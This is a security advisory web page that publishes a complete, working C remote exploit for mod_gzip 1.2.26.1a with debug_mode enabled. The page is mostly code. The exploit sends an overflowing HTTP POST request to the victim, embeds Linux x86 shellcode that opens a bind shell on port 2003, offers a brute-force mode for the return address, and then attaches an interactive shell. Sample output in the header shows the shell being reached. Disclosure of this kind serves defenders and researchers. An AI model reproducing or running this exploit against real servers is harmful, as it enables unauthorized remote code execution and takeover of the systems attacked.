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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	mod_gzip debug_mode Exploit Code 23 Nov. 2003    Summary As we reported in our previous advisory: Multiple Vulnerabilities in mod_gzip Debugging Routines, a vulnerability in mod_gzip allows remote attackers to cause the program to execute arbitrary code if the debug_mode option has been enabled in mod_gzip.   Credit: The information has been provided by xCrZx. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems:  * mod_gzip version 1.2.26.1a and prior with debug_mode enabled Exploit: /* \ [exploit code] for mod_gzip (with debug_mode) <= 1.2.26.1a / \ Created by xCrZx crazy_einstein yahoo com /05.06.03/ / \ Tested on RedHat 8.0 (Psyche) (here is target for it), / also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target for it :) / \ */ /* \ / Single mode: \ / [crz@blacksand crz]$ ./85mod_gzip -t 0 -h localhost \ / remote exploit for mod_gzip (debug_mode) [Linux/*BSD] \ by xCrZx [crazy_einstein@yahoo.com] /05.06.03/ / \ Using: ret_err = 0x42127480, ret = 0xbfffd8f0 / \ [!] Connecting to localhost:80 / [+] Connected! \ [*] Trying to connect to localhost:2003 port!!! Pray for success! / [*] Sleeping at 2 seconds... \ / [!] Shell is accessible! \ / uid=99(nobody) gid=99(nobody) groups=99(nobody) \ Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux / \ Brute mode: / \ [crz@blacksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000 / \ remote exploit for mod_gzip (debug_mode) [Linux/*BSD] / by xCrZx [crazy_einstein@yahoo.com] /05.06.03/ \ / Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000 \ / [~] Brutemode activated! \ . / [!] Shell is accessible! \ / uid=99(nobody) gid=99(nobody) groups=99(nobody) \ Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux / \ */ #include <stdio.h> #include <netinet/in.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define STEP 1000 char fmt[] = "POST /?%s HTTP/1.1\r\n" "Content-Type: text/html\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Accept-Encoding: gzip, deflate\r\n\r\n" "%s\r\n\r\n";     struct TARGETS {   char *distr;   long ret;   long std_err;   char *shellcode;   char *jmp; } targets[] = {      /* you can add targets here */      {"RedHat 8.0 (Psyche)", // disributive info    0xbfffd8f0, // return address in stack    0x42127480, // address of stderr    //shellcode for Linux x86 -> bind shell on 2003 port//          "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"          "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"          "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"          "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"          "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"          "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"          "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"          "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80",        /*        special jump instruction (to avoid bad characters in url):         (jump on our shellcode into heap)      movl $0xa1a51baa,%ebx    addl $0x66666666,%ebx    jmp *%ebx         */             "\xbb\xaa\x1b\xa5\xa1\x81\xc3\x66\x66\x66\x66\xff\xe3"   } };     long getip(char *hostname) {   struct hostent *he;   long ipaddr;      if ((ipaddr = inet_addr(hostname)) < 0) {     if ((he = gethostbyname(hostname)) == NULL) {       perror("gethostbyname()");       exit(-1);     }     memcpy(&ipaddr, he->h_addr, he->h_length);   }   return ipaddr; } void usage(char *prog) {   int i=0;    printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr] [-b addr] [-s step_num]\n\nTargets:\n",prog); while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr); printf("\n"); exit(0); } int main(int argc, char **argv) {         int i=0;       struct sockaddr_in sockstruct;       struct hostent *HOST;       char tmp[20000];   char buf1[5000],buf2[10000];       int sock;       fd_set rset;   int port=80,shellport=2003;   int step=STEP;   char *victim=NULL;   long ret=0xbfffffff,ret_err;   int brutemode=0;   char *shellcode,*jmp;   int trg=0; printf("\nremote exploit for mod_gzip (debug_mode) [Linux/*BSD]\n\t\t by xCrZx [crazy_einstein] /05.06.03/\n");   for(i=0;i<argc;i++) {     if(argv[i][1]=='h') victim=argv[i+1];     if(argv[i][1]=='p') port=atoi(argv[i+1]);     if(argv[i][1]=='t') {ret=targets[atoi(argv[i+1])].ret;trg=atoi(argv[i+1]);}                  if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);     if(argv[i][1]=='b') { brutemode=1; ret=strtoul(argv[i+1],0,16);}     if(argv[i][1]=='s') { step=atoi(argv[i+1]);}   }   if(!victim || ret==0) usage(argv[0]);   ret_err=targets[trg].std_err;   shellcode=targets[trg].shellcode;   jmp=targets[trg].jmp;   printf("\nUsing: ret_err = 0x%x, ret = 0x%x",ret_err,ret);   if(brutemode) printf(" ,step = %d\n",step);      printf("\n");      if(brutemode)printf("[~] Brutemode activated!\n");   do {              sock=socket(PF_INET,SOCK_STREAM,0);       sockstruct.sin_family=PF_INET;       sockstruct.sin_addr.s_addr=getip(victim);       sockstruct.sin_port=htons(port);       if(!brutemode)printf("\n[!] Connecting to %s:%d\n",victim,port);             if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {           if(!brutemode)printf("[+] Connected!\n",i);     memset(tmp ,0x00,sizeof tmp );                  memset(buf1,0x00,sizeof buf1);            memset(buf2,0x00,sizeof buf2);     memset(buf1,0x90,2016);     memcpy(buf1+strlen(buf1),jmp,strlen(jmp));     memset(buf1+strlen(buf1),0x90,2280);     *(long *)&buf1[strlen(buf1)]=ret_err;     for(i=0;i<100;i++) *(long *)&buf1[strlen(buf1)]=ret;     memset(buf2,0x90,1000);     memcpy(buf2+strlen(buf2),shellcode,strlen(shellcode));          sprintf(tmp,fmt,buf1,victim,strlen(buf2),buf2);     write(sock,tmp,strlen(tmp));         }else { printf("[x] Error: Could not connect to %s:%d!\n",victim,port);exit(0);}              close(sock);   ret-= step;   if(brutemode) {printf(".");fflush(stdout);}      if(!brutemode) {     printf("[*] Trying to connect to %s:%d port!!! Pray for success!\n",victim,shellport);     printf("[*] Sleeping at 2 seconds...\n");   }      sleep(2);             sock=socket(PF_INET,SOCK_STREAM,0);   bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));   sockstruct.sin_family=PF_INET;          sockstruct.sin_addr.s_addr=getip(victim);          sockstruct.sin_port=htons(shellport);          if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {           printf("\n[!] Shell is accessible!\n\n");           write(sock, "id;uname -a\n", 12);           while (1) {                   FD_ZERO(&rset);                   FD_SET(sock,&rset);                   FD_SET(STDIN_FILENO,&rset);                   select(sock + 1, &rset, NULL, NULL, NULL);              if (FD_ISSET(sock, &rset)) {                           i = read(sock, tmp, sizeof(tmp) - 1);                           if (i <= 0) {                                   printf("[!] Connection closed.\n");                                   close(sock);                                   exit(0);                           }                         tmp[i] = 0;                         printf("%s", tmp);                   }                   if (FD_ISSET(STDIN_FILENO, &rset)) {                           i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);                           if (i > 0) {                                   tmp[i]=0;                                   write(sock, tmp, i);                           }                   }           }          } else if(!brutemode)printf("[x] Shell is inaccessible..\n\n");          close(sock);   } while ( brutemode );              return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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